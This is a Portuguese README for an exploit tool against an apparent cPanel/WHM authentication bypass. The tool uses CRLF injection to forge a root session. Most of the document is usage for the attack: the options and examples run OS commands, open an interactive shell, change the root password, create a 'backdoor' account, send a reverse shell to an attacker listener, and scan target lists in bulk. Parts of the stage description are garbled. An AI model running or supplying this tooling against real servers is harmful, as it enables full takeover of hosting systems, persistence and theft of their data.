
cPanel/WHM Bypass de Autenticação (Vulnerabilidade Zero-Day)
Aviso: Este documento e o script associado (
exploit.py) são fornecidos estritamente para fins educacionais, pesquisa de segurança e testes de penetração autorizados. Não utilize este software contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
exploit.py é um script que demonstra uma vulnerabilidade de bypass de autenticação (CVE-2026-41940) no cPanel & WHM. A vulnerabilidade permite que um atacante não autenticado injete uma sessão root no cache do daemon através de uma falha de injeção CRLF, concedendo acesso root ao WHM sem exigir credenciais válidas.
O exploit funciona aproveitando uma vulnerabilidade de injeção CRLF (Carriage Return Line Feed) no mecanismo de manipulação de Autenticação Básica, combinada com uma falha de propagação de sessão. O script automatiza o ataque em quatro estágios:
/login/ ou ) para adquirir um cookie de sessão não autenticado de base ()./cgi/login.cgiwhostmgrsessioncpsrvd. A resposta de redirecionamento do servidor vaza o token de segurança gerado (cpsess).do_token_denied para propagar a sessão forjada no cache do daemon — tornando-a uma sessão autenticada válida./json-api/version) usando a sessão forjada para confirmar o acesso root.requestspip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argument | Description |
|---|---|
--target URL | URL única do WHM (ex.: https://target:2087) |
--target-file FILE | Arquivo com alvos (um ip:porta por linha) — ativa modo de verificação automaticamente |
| Argument | Description |
|---|---|
--threads N | Threads concorrentes para modo multialvo (padrão: 10) |
--hostname HOST | Sobrescreve cabeçalho Host — use quando a descoberta automática falha ou retorna hostname errado |
--timeout N | Timeout por requisição em segundos (padrão: 15) |
--retries N | Número de tentativas em erros de rede (padrão: 3) |
--cookie-name NAME | Força um nome de cookie de sessão específico (detectado automaticamente se omitido) |
--no-verify | Pula a verificação do Estágio 4 e prossegue mesmo assim |
| Argument | Description |
|---|---|
--check | Modo apenas verificação — verifica vulnerabilidade sem explorar (definido automaticamente com --target-file) |
--password PASS | Altera a senha root para PASS |
--api FUNC | Chama uma função específica da JSON-API do WHM |
--api-params K=V,... | Parâmetros separados por vírgula para --api |
--exec CMD | Executa um comando do SO via WHM scripts/run_script (fallback: rawexec) |
--session | Gera uma URL de login root com um clique — abra imediatamente, token expira rápido |
--shell | Entra em um shell WHM interativo (apenas alvo único) |
--dump | Exibe informações do servidor: versão, contas, zonas DNS, privilégios |
--add-user USER PASS DOMAIN | Cria uma nova conta de hospedagem cPanel |
--revshell LHOST LPORT | Envia um shell reverso bash para seu listener |
| Argument | Description |
|---|---|
--output FILE | Salva o token de sessão e detalhes em um arquivo JSON |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Ao usar --shell, os seguintes comandos estão disponíveis:
| Command | Description |
|---|---|
api <function> [k=v ...] | Chama uma função JSON-API do WHM (ex.: api version) |
exec <command> | Executa um comando do SO via WHM (ex.: exec id) |
passwd <newpass> | Altera a senha root |
dump | Exibe informações do servidor |
revshell <lhost> <lport> | Envia um shell reverso |
add <user> <pass> <domain> | Cria uma conta cPanel |
save <path> | Salva a sessão atual em um arquivo |
exit / quit | Sai do shell |
Atualize imediatamente os patches de segurança mais recentes do cPanel/WHM.